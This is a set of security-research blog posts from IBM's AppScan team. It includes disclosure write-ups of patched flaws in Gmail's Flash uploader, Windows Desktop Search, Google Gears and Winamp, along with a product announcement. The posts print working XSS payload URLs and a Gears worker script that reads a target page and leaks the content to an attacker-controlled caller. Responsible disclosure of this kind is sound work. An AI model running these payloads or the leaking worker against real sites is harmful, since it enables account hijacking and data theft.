IBM Application Security Insider

Through the Looking-Glass

 In recent years, I've heard many industry luminaries lament the untimely death of black box web application security assessment tools. Most of them did so, on the basis that white box tools (static analysis code scanners) will eventually rule the world and bring order to our galaxy.

The top three rants against black box testing tools were usually –

1. Application coverage (or lack thereof)
2. Scan results inaccuracies (false positives, negatives, and non-exploitable issues)
3. Lack of code-level information for issues reported (mainly, vulnerable line of code)

Regardless of these problems, many still consider black box testing tools to be more accurate, practical and mature tools. Issues reported by black box scanners are usually real and exploitable, and they are less prone to generate noisy results than white box testing tools (taint analysis covers all code paths, which can be a double-edged sword)

Our team has been working extremely hard to remediate these shortcomings, and find creative ways to make automated black box testing more efficient, accurate and to make our customers more successful in securing their web applications.  Our latest innovation was dubbed Glass box testing. Actually, it's not such a new idea - this is something that we have been toying around with for many years (we eventually filed the patent back in Feb. 2008)

Finally, it is here.

One of the main drawbacks of black box testing is the fact that the tester (or tool) is completely oblivious to the inner workings of the tested application it is facing. It is unaware of the programming language, the operating system, database server and so forth. The entire process of issue validation in black box testing relies solely on how the application reacts to certain HTTP requests. For example - you send a SQL injection test and then expect to see a SQL syntax error sent back in a subsequent response. Sadly, many of the most critical issues may never reflect back in some scenarios.

Glass box testing, avoids the classic black box pitfalls, by deploying a server-side agent, which gleans critical application information in runtime, and sends it back to the black box scanner. The type of information relies on the type of agent being used, and the location at which it operates, within the application or near it.

For example, imagine a glass box agent, which performs code instrumentation to the tested web application, it sits in critical points and monitors certain events. When a black box scanner sends a SQL injection test, that will reach a sensitive method (sink), our glass box agent will be able to notify the scanner that a vulnerability exists [Problem #2 solved]. Moreover, it will be able to report back on the vulnerable file name, line number, enclosing class and method, as well as the library class and method that was vulnerable –e.g. Java's executeQuery [Problem #3 solved]

 In order to solve application coverage issues, various different kinds of glass box agents can be used, the simplest would be an agent that monitors the web application's file system, and submits back information about its structure and files. A run time code instrumentation agent similar to the one mentioned earlier, could also detect certain unreferenced parameters - those that are mentioned in code, but never referred to by HTML - like 'debug' parameters [problem #1 solved]. There are many other things a glass box agent could do to improve and complement black box testing, this is merely the tip of the iceberg.

Up until now, I discussed the merits of glass box testing in general. Now I would like to briefly discuss the unique capabilities we've built into AppScan Standard 8.5 that was released yesterday.

AppScan’s first glass box agent, performs runtime analysis through code instrumentation of web applications. It hooks into the application, and observes critical application points, reporting vital information back to AppScan Standard. This information includes:

• Monitoring of sensitive methods (sinks) for a range of application layers attacks, bringing unparalleled ultra high accuracy to existing issue detection, as well as the capability to detect issues that black box scanners simply can't spot
• Detecting unreferenced application parameters, and increasing application crawling coverage dramatically

Other than the cool detection capabilities that were implemented, we had to make sure our users are successful in deploying and using glass box. We can't simply build a half-baked prototype, right? So we baked into it some nifty and important features such as:

• Simple agent installation, through an automatic installer for Windows, Linux and Unix
• Manual agent installation & step-by-step guide for complex systems and environments
• Agent authentication & support for SSL communications with AppScan
• Agent command & control, which allows AppScan to remotely push new (digitally signed) logic & rules into deployed agents
• Reduced agent footprint. When the agent is not being actively used, it stops monitoring the application to avoid even the minimal effect on performance
• Real time agent status monitoring. From as early as the scan configuration phase, and through the entire scan, AppScan users know exactly what is going on with the agent. Is it up, down, monitoring or configured improperly
• Agent logging. Glass box logs can be remotely configured and accessed from AppScan's user interface
• Agent management. A cross-scan persistent management of known agents, so you won't have to configure the same things over and over again.

 As you can see, we take glass box testing very seriously. This is not just a new feature in the product.

We believe glass box is the future of dynamic analysis.

We continuously benchmark our glass box testing capabilities on many different web applications, trying to assess the exact increase in scan accuracy and coverage. In reality, it really depends on the specific application that is being tested. But when we ran AppScan Standard 8.5 with and without glass box, on a sample set of the standard known vulnerable web applications, we found that it brings an increase of at least 180% in real true findings, and removes false positives completely.

Glass box testing provides the best of both white and black box worlds. It enjoys the merits of dynamic analysis - the fact that it is testing a real live web application, and provides real exploitable issues without any noisy ‘theoretical’ results. And at the same time, it enjoys code-level information, similar to static analysis - the ability to look at the application's code and inner workings, and tie each issue to the specific location where the defect lies.

In fact, this reminds me that glass box testing is actually not our first attempt to marry white box and black box – our previous product release, included the highly successful groundbreaking JavaScript Security Analyzer, which uses a hybrid dynamic and static analysis engine, to analyze JavaScript code for client-side vulnerabilities. Back when it was released last year, we reported that JSA found JavaScript issues in 14.5% of the Fortune 500 web sites – in AppScan Standard 8.5, we actually went back and improved our analysis algorithms, and we now know that JSA finds security issues in 40% of the fortune 500 web sites (as reported in the latest 2011 IBM X-Force trend analysis report). That is an incredibly awesome yet disturbing piece of data.

In order to give our customers the best possible way to secure their applications, we are continuously blurring the lines between the different types of analysis approaches. I personally think that the entire black box vs. white box debate is way past us. Security testers shouldn’t really care what analysis they are using, as long as it produces accurate and actionable results.

• Glass box testing is available as a feature of AppScan Standard Edition 8.5, and does not require any integration with other IBM products. Simply download and install AppScan Standard 8.5
• Glass box testing is a patent pending technology – US patent application 20090205047
• AppScan Standard customers can download the latest release, which includes glass box testing from this link

DNS poisoning via Port Exhaustion

Today we are releasing a very interesting whitepaper which describes a DNS poisoning attack against stub resolvers.

It discloses two vulnerabilities:

1. A vulnerability in Java (CVE-2011-3552, CVE-2010-4448) which enables remote DNS poisoning using Java applets. This vulnerability can be triggered when opening a malicious webpage. A successful exploitation of this vulnerability may lead to disclosure and manipulation of cookies and web pages, disclosure of NTLM credentials and clipboard data of the logged-on user, and even firewall bypass.
2. A vulnerability in multiuser Windows environments which enables local DNS cache poisoning of arbitrary domains. This  vulnerability can be triggered by a normal user (i.e. one with non-administrative rights) in order to attack other users of the system. A successful exploitation of this vulnerability may lead to information disclosure, privilege escalation, universal XSS and more.

The whitepaper can be found here.

A few video demos of our Proof-of-Concept:

1. Attack: Remote DNS poisoning via Java Applets: Cookie theft.
   Environment: Ubuntu 11.04, Firefox 7.0.1.
   
   
2. Attack: Remote DNS poisoning via Java Apples: NTLM credentials and Clipboard theft.
   Environment: Windows 2008, Internet Explorer 9.
   
   
3. Attack: Remote DNS poisoning via Java Applets: Firewall bypass.
   Environment: Windows 2008, Firefox 7.0.1.
   
   
4. Attack: Local DNS poisoning via port exhaustion.
   Environment: Windows 2008.
   
   

We would like to thank Oracle and Microsoft for their cooperation.

-Roee Hay and Yair Amit

Android Browser Cross-Application Scripting (CVE-2011-2357)

Recently we detected a security vulnerability in Android’s Browser which can be exploited by a non-privileged application in order to inject JavaScript code into the
context of any domain; therefore, this vulnerability has the same implications as global XSS, albeit from an installed application rather than another website.

Android 2.3.5 and 3.2 have been released, which incorporate a fix for this bug.  Patches are available for Android 2.2.* and will be released at a later date. Organizations can contact security@android.com for patch information.

The complete advisory can be found here.

Demo of the PoC:

 

We would like to thank the Android Security Team for the efficient and quick way in which they handled this security issue.

Cross-Site Scripting through Flash in Gmail Based Services

Background

I recently discovered a cross-site scripting through Flash issue in Gmail. Not only did it expose Gmail users to full account hijacking, but it also exposed corporate users that rely on Gmail through the Google Apps initiative.

Technical Details

Gmail uses a Flash movie, named uploaderapi2.swf, for file upload operations. A short investigation revealed that it used two user-input parameters (‘apiInit’ and ‘apiId’) as parameters to ExternalInterface.call(), a class that is used for interaction between Actionscript and the flash player container (a hosting HTML page in the case of browsers).

var flashParams:* = LoaderInfo(this.root.loaderInfo).parameters;

API_ID = "apiId" in flashParams ? (String(flashParams.apiId)) : ("");

API_INIT = "apiInit" in flashParams ? (String(flashParams.apiInit)) :                    

                     ("onUploaderApiReady");

.

..

...

if (ExternalInterface.available) {

          ExternalInterface.call(API_INIT, API_ID);

}

A snippet from uploaderapi2.swf

The code above is vulnerable to a script injection attack: setting apiInit to eval and apiId to arbitrary JavaScript code, results in the execution of the JavaScript in the context of mail.google.com (the Gmail domain). Hence, by luring victims to load a malevolently crafted link, attackers could execute malicious JavaScript in the context of active Gmail sessions and fully impersonate their victims (manipulate and steal sensitive information from their accounts). Like other script injection attacks, a real-world attack could be refined by using techniques such as loading the malicious link in a hidden IFrame.

As can be seen in the screenshot below, before Google patched the aforementioned flaw, loading the following link popped-up an alert message with the cookies that are associated with Gmail’s domain:
https://mail.google.com/mail/uploader/uploaderapi2.swf?apiInit=eval&apiId=alert(document.cookie).

Gmail script injection screenshot

Transparent Attack

As presented in Stefano Di Paola’s famous presentation, one of the interesting characteristics of Flash attacks is the ability to mount transparent attacks in browsers such as Firefox and Google Chrome. Due to the fact that Flash is executed in the client-side, the malicious payload (in this case, the values of apiInit and apiId) can be hidden from the server by adding the ‘#’ sign before the query part of the URL: https://mail.google.com/mail/uploader/uploaderapi2.swf#?apiInit=eval&apiId=alert(document.cookie).

That way, the attacked browser sends a parameter-less request for https://mail.google.com/mail/uploader/uploaderapi2.swf (uploaderapi2.swf is loaded by Gmail with no parameters by default) – this request is therefore regarded by the server as standard and not alarming in any way. However, a successful exploitation is possible since the Flash player refers to the whole URL, including the attack payload, which comes after the ‘#’ sign.

Remediation

The first parameter that is passed to ExternalInterface.call() determines the JavaScript function name to be executed. This parameter (API_INIT) has been updated to contain a hardcoded value (‘onUploaderApiReady’) and does not rely on external user-input any more.

Acknowledgments

I would like to thank the Google security team for their quick responses and the efficient way in which they handled this security issue.

Windows Desktop Search – Indirect Script Injection

Background

Windows Desktop Search (WDS) is a popular desktop search tool released by Microsoft. WDS indexes a large variety of files located on the user's computer (as well as network shares, if configured to do so by the user). It then offers fast searching capabilities over these files. Like some of its competitors, WDS uses an embedded Internet-Explorer browser component in order to preview the search results to the user.

Browsers embedded within Desktop Applications have been a favorite research topic of mine for some time now, due to the special security-context issues posed by the embedded-browsers.

One of the interesting challenges of trying to attack Desktop Applications that use Embedded Browser components is trying to discover the injection vector – and it usually requires unusual measures to mount a successful script injection attack in such cases.

A while ago I found a way of indirectly injecting JavaScript code into the WDS embedded-browser. Because of its security-context, I discovered it was possible to access data on any domain (bypassing the Same Origin Policy) and therefore gather some very interesting data from the attacked box.

A fix for the attack described below has been just released by Microsoft. If you use WDS, it is advisable to install the fix.

Vulnerability

WDS previews the search results to the user via an embedded-browser. In order to support non-HTML/XML files, WDS uses converters that transform the files into HTML. As part of this process, potentially hazardous characters are escaped by the converters.

However, it turns out that HTML files do not undergo any sanitation process before being presented. Instead, WDS simply loads the files into its embedded browser from the local hard-drive.

In accordance with the security settings of the embedded browser, the aforementioned local HTML files are loaded with partial JavaScript execution permissions that require no user-approval.

While the ActiveX implementation of XMLHTTP (e.g. new ActiveXObject("Msxml2.XMLHTTP")…) cannot be initiated automatically due to a security restriction, it turns out that the XMLHttpRequest JS object (new XMLHttpRequest()…) can be initiated and used without limitations.

What makes this vulnerability particularly interesting is the fact that in this context the XMLHttpRequest object can freely interact with any domain; sending on the victim's persistent cookies (if there are any). In other words, an attacker exploiting the aforementioned vulnerability can impersonate the victim on sites for which the victim is authenticated. "Example of a Possible Attack" below shows how sensitive information might be hijacked from a Gmail account.

Attack Flow

1. A remote attacker puts a specially crafted HTML file in a directory indexed by WDS. This phase can be accomplished in either of the following ways:
   • Exploiting a "File Dropping" vulnerability (such as the recent "Carpet-Bombing" vulnerabilities in Safari & Google Chrome).
     •  Anecdote: Due to the security evolution of Google Chrome, up-to-date versions ask for user-approval when an .HTM file download attempt takes place (instead of auto-downloading it, as it used to): 
        
       However, I discovered that it is still possible to drop MHTML files by causing an automatic download attempt of an *.mht file:
        
   • Taking advantage of the fact HTML files are presumed by many to be harmless (especially if not even directly loaded by a browser) to mount a social engineering attack.
2. Let's assume the specially crafted HTML filename is: mal.html.
   • The file should contain some likely-to-be-queried keywords as well as JavaScript code. (e.g. "Watchfire IBM Microsoft <script>alert(123)</script>").
3. At that point, mal.html is already indexed by Windows Desktop Search.
4. At some point, the user queries for a word that shows up in mal.html ("Microsoft", for example) via Windows Desktop Search.
5. Due to the lack of sanitation, when mal.html is displayed via the preview pane (which is in fact an embedded IE browser) the script within mal.html is automatically executed.

NOTES:

• If the results pane is ordered by date, it is very likely that mal.html will be selected automatically, without any user interaction.
• In order to amplify the success rate of the attack, multiple files that contain malicious JavaScript code along with likely-to-be-queried keywords can be dropped to the victim's hard-drive.

Example of a Possible Attack

In this scenario, our victim has a Google account (an.innocent.user@gmail.com) with one mail filled with secret passwords in its inbox.

Like many users, the victim uses the "Remember me on this computer" feature, and persistent Google account authentication cookies are therefore stored on his/her system.

At some point, the victim uses WDS and queries a "poisoned" keyword (in this example, the keyword is "Microsoft").

While the victim views this file via WDS, the following happens:
1. An XMLHttpRequest object is created.
2. Due to the security context of the embedded-browser, a bi-directional connection to Gmail is successfully established (Same-Origin Policy is not enforced).
3. The contents of the inbox page are retrieved (The XMLHttpRequest object uses the persistent cookies for the an.innocent.user@gmail.com account).
4. The response is parsed and information about the "Secret Stuff" mail message is presented.

 

Final Remarks

Since various Desktop Search Tools use a mechanism similar to Windows Desktop Search in order to present search results to the user it is very likely that similar vulnerabilities and attack vectors might apply to these products too.

Acknowledgments

I would like to acknowledge and thank Microsoft for the highly professional way in which they had handled this security issue.

Active Man in the Middle Attacks

Adi Sharabani, manager of our own IBM Rational Security Group, gave a keynote presentation on the subject of Active Man in the Middle attacks at the recent OWASP AU conference that was held yesterday.

With an Active MitM attack targeting Web Applications, an attacker can steal users' private data for any site he chooses if his victim uses a public network to read the latest news headlines or weather report on an 'uninteresting' site. In addition, the attack could also be made persistent, even after the victim has left the MitM influence. These attacks are a product of a serious design flaw and not an implementation error or bug.

Although MitM attacks against Web Applications have been partially discussed before with similar issues such as "SideJacking" and "Surf Jacking", a comprehensive full research has yet to have been performed.

The presentation attached gives an overview of the subject while the paper gives thorough in-depth description of this dangerous category of attacks and proposed remedies.

You can download the presentation in PPT format here, or download the full version of the whitepaper as PDF here.

Breaking Google Gears' Cross-Origin Communication Model

Background

Google Gears is a well-known RIA infrastructure, used extensively by Google in various services such as Google Docs and Google Reader as well as in non-Google services such as MySpace, Zoho Writer and WordPress.

Gears is a browser extension that allows developers to create richer and more responsive web-applications. One of its key features is the ability to create web-applications that can run both online and offline transparently.
Some of the capabilities Gears introduces are:

• A local server, to cache and serve application resources (HTML, JavaScript, images, etc.) without needing to contact a server
• A database, to store and access data from within the browser
• A worker thread pool, to make web applications more responsive by performing expensive operations in the background
• The HttpRequest API, which implements a subset of the W3C XmlHttpRequest specification
• A Geolocation API that enables a web application to obtain a user's geographical position

(The descriptions above are taken from the Google Gears documentation)

In my opinion, one of the nicest things in Gears is the way it is utilized. This is done by inserting JavaScript calls to Gears' API within the HTML code of the web-application. Therefore, unlike some of its alternatives, Gears can be integrated into existing web-applications easily and fluently.

For a full explanation and usage examples of Google Gears, you are invited to enter the Getting Started section in the Google Gears website.

Like other RIA infrastructures, Google Gears offer developers cross-origin communication capabilities. These capabilities are very important to developers, as they make it much easier to implement mashups and other desirable features.

Security-wise, however, cross-origin communication has some downsides. A poor or careless implementation might allow attackers to break-out of the same-origin policy and mount large scale user-impersonation attacks. The ramifications of such a flaw can be disastrous.

A few months ago, I discovered that the cross-origin communication security model of Google Gears wasn't solid enough, and that under some circumstances it could be bypassed pretty easily.
After coordinating a fix with Google, I can now reveal the details.

Gears' Cross-Origin communication implementation

Let's assume that we are web-developers and that we have a web page located at http://Some.Site/ that needs to gather information from a user-authenticated session at http://Another.Site/.
This can be done by using Google Gears' WorkerPool API. All you have to do is load a Google Gears "worker" (JavaScript code with access to Google Gears capabilities such as Local Server, Http communication and Database) using the createWorkerFromUrl(scriptUrl) method.
Google Gears "workers" that are intended to be loaded from a remote origin must begin with a call to allowCrossOrigin(). This serves as a security measure against unauthorized remote loading of "workers".

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

Here's an excerpt from Google Gears' documentation:

If a worker was created from a different origin, all methods on google.gears.factory will fail in that worker until allowCrossOrigin() is called.
This prevents cross-site scripting attacks where the attacker could load a worker URL from another domain, then send malicious messages to that worker (e.g. "delete-all-data").
Workers that call allowCrossOrigin() should check messageObject.origin and ignore messages from unexpected origins.

The Problem

At first sight, this protection seems to be solid.

However, after playing around with the infrastructure, I found that the Google Gears workers' loader has a rather promiscuous policy: it disregards the headers of the Gears worker files it loads!
That fact opens an aperture for malicious attacks. It significantly broadens the options an attacker has for planting malicious Gears worker code in a target website. For example, it is possible to upload files with an image suffix that actually contain Gears Worker code instead. Later on, such a file might be loaded from the context of other domains by a Google Gears Worker loader, despite the fact that it is served as an image file by the web-server!

It follows that the security of websites that contain users' content (forums, web-mails, social networks, office-like services, etc.) might be circumvented and damaged due to this behavior. During my research, I verified that various well-known services are indeed susceptible to the attack described in this summary.

Furthermore, the fact that the Gears worker code doesn't contain concrete "dangerous" characters might actually make it harder for websites to defend against Google Gears-based cross-origin access attacks such as the one described below.

An example of Google Gears worker code:

var wp = google.gears.workerPool;

wp.allowCrossOrigin();



wp.onmessage = function(a, b, message) {

  var request = google.gears.factory.create('beta.httprequest');

  request.open('GET', 'http://TARGET.SITE/SENSITIVE_PAGE.htm');



   request.onreadystatechange = function() {

     if (request.readyState == 4) {



     wp.sendMessage("The response was: " + 

     request.responseText, message.sender);



     }

   };



request.send();

}

The script above grabs information from http://TARGET.SITE and then leaks it back to its remote caller using Google Gears' built in messaging API.

Flow of Attack

1. Attacker creates a text file that contains (malicious) Google Gears commands (Accessing the DB, using the HttpRequest module, etc.).
2. Attacker finds a way to put the text content into a target domain (http://TARGET.SITE/Upload/innocent.jpg, for example). The Gears "worker" code does not contain suspicious characters (<,>, etc...), it is therefore less likely to be filtered by http://TARGET.SITE's server-side logic.
3. Attacker creates http://ATTACKER.SITE/attack.html which contains some Google Gears code that loads and executes http://TARGET.SITE/Upload/innocent.jpg.
4. The code embedded in innocent.jpg (in this example) runs in the context of http://TARGET.SITE. It therefore has permissions to access Google Gears client-side objects such as the DB, the local server data or web resources (with the victim's credentials) using the HttpRequest module built into Google Gears.
5. All information collected in the previous phase can easily be leaked back to http://ATTACKER.SITE using Google Gears' standard messaging mechanism.

Note:
While http://ATTACKER.SITE has to be approved for using Google-Gears, http://TARGET.SITE can be any site that hosts user-created content, even if it doesn't use Google-Gears at all.

The Fix

Following my reporting to Google of the aforementioned flaw and attack, a patched version of Google Gears was released. The fix is based on a special Google-Gears Content-Type header value (application/x-gears-worker) that must be sent by the web-server when it serves Google-Gears worker code files. Without that value the loading of such worker files is denied.

While this looks like a great solution, it suffers from a slight backward-compatibility issue. Web-developers who rely on Google Gears should be aware that the fix might require some changes, such as creating a special rule in the web-server for serving Google-Gears worker code files.

For more information about the new security restriction described above, please visit the Google-Gears cross-origin workers documentation.

Acknowledgments:

I would like to thank the Google Gears security team for their quick responses and the efficient way in which they handled this security issue.

Flash Parameter Injection

During the recent OWASP NYC AppSec conference, Adi Sharabani & Ayal Yogev, both from the IBM Rational application security research group, gave a presentation on the subject of Flash security, and revealed the details of a new Flash related attack vector called Flash Parameter Injection (FPI).

You can find more information on FPI in the following 2 links:

1. Flash Parameter Injection - OWASP Presentation (be sure to view in full screen, as this presentation contains some nifty animations)
2. Flash Parameter Injection - Advisory / Whitepaper (PDF format)

It appears that the world of Flash & Flex web application security is still in its infancy, but you can rest assured that our team will continue to research new vulnerabilities and develop new technique to combat/detect them. So...stay tuned for new developments from IBM Rational application security.

Winamp "NowPlaying" Unspecified Vulnerability: The Details

Hey,

Since no information has yet been published about a vulnerability I recently discovered in Winamp, and the issue has raised some interest, here are the details.

Recently, while listening to some music via Winamp (my favorite media player), I recalled an old Winamp Buffer-Overflow vulnerability found by Leon Juranic in 2005.
Leon found that since Winamp didn't expect long inputs in mp3 id3 tags, a buffer-overflow attack was possible by playing specially crafted mp3 files with lengthy tags.

Knowing that Winamp uses an embedded browser in various places, I decided to take a closer look at it and see what could be done... ;)
My aim was to inject JavaScript into the context of the embedded browser, and examine the ramifications. I suspected that the mp3 id3 tags might be a good place to start, and therefore concentrated on the "Now Playing" feature.

Winamp's "Now Playing" feature uses an embedded browser to present information about the currently played media file. When the user plays a media file, some of the file's metadata is embedded into the HTML that the embedded-browser displays.

It turned out that if the metadata (id3 tags) of the mp3 file contained a JavaScript payload, Winamp failed to sanitize it and therefore injected it intact into the embedded browser – a feasible XSS exploitation scenario.

A (seemingly) normal mp3 file.


Adding "A song.mp3" to Winamp's playlist


Playing the poisoned mp3 file...
Attacker-controlled JavaScript code is executed.

Furthermore, due to the integration between the embedded browser and the Winamp application, this script injection vulnerability has some unique characteristics.

In many cases, Desktop applications that utilize IE embedded browsers render the HTML content in a highly privileged zone called "My Computer Zone". This zone allows the programmer to perform a wide range of actions on the computer and thereby to "interact" with the hosting application. The downside of this (fairly common) approach is that if the application is susceptible to XSS, a malicious attacker might be able to exploit it and gain full system control over the victim's system. (Aviv Raff did some great work in this field, "Skype cross-zone scripting vulnerability" being a well-known example.)

Winamp's programmers were probably aware to this security threat and therefore chose a different approach. Instead of creating and loading a local file that contains all the relevant data (e.g. data about the song retrieved from the Internet and data originated from the id3 tags of the mp3 file) in a privileged security zone, Winamp loads the embedded browser with a page located in http://client.winamp.com (Internet URL - non-privileged zone).

At first glance, this seems to make an XSS attack innoxious, because of Same Origin policy. However, in order to implement the required interaction between the Winamp application and its embedded browser, a bridge from the browser to Winamp was created in the form of window.external. That means that JavaScript code (which is attacker-controlled due to the XSS vulnerability I found) could trigger various internal functionalities of Winamp which were not intended to be invoked by a remote attacker.

The attack could then be taken one step ahead, by trying to identify functions that are susceptible to memory-based attacks or logical attacks (Reading/Writing of information from/to the victim's host and even gaining full system control in the form of executing commands).

Since the attack is almost undetectable (the malicious JavaScript within the id3 tags can be padded with white spaces and therefore rendered invisible to the Winamp user when the malicious mp3 file is played), such a poisoned file could be easily distributed via P2P networks, resulting in a large-scale (and possibly silent) attack against Winamp users.

The id3 tags editor of Winamp doesn't give indication for the attack (due to white spaces padding)...

Going to the end of the Artist text box reveals the (potentially malicious) JavaScript code

Acknowledgments:

I would like to thank Winamp's team for their quick responses and the efficient way in which they handled this security issue.

Automated Crawling & Security Testing of Flash/Flex Web Applications

Ronen Bachar, from our own IBM Rational AppScan team, gave a presentation on the (*hot*) subject of automated Flash/Flex application security testing, at the recent OWASP IL conference that was held last week (I have a strange feeling of a Deja-Vu).

The presentation gives a high level overview of Flash, Flex and the AMF protocol, and dives into some gory details (although some gore is missing from the online presentation) regarding the challenges and possible approaches for performing automated crawling and security testing of web applications that were built using these technologies.

 

And while we're on the subject of Adobe Flash & Flex web applications - if you happen to be in New York next week for the OWASP AppSec conference, be sure to attend another presentation by our team (Adi Sharabani & Ayal Yogev), on the subject of Flash Parameter Injection.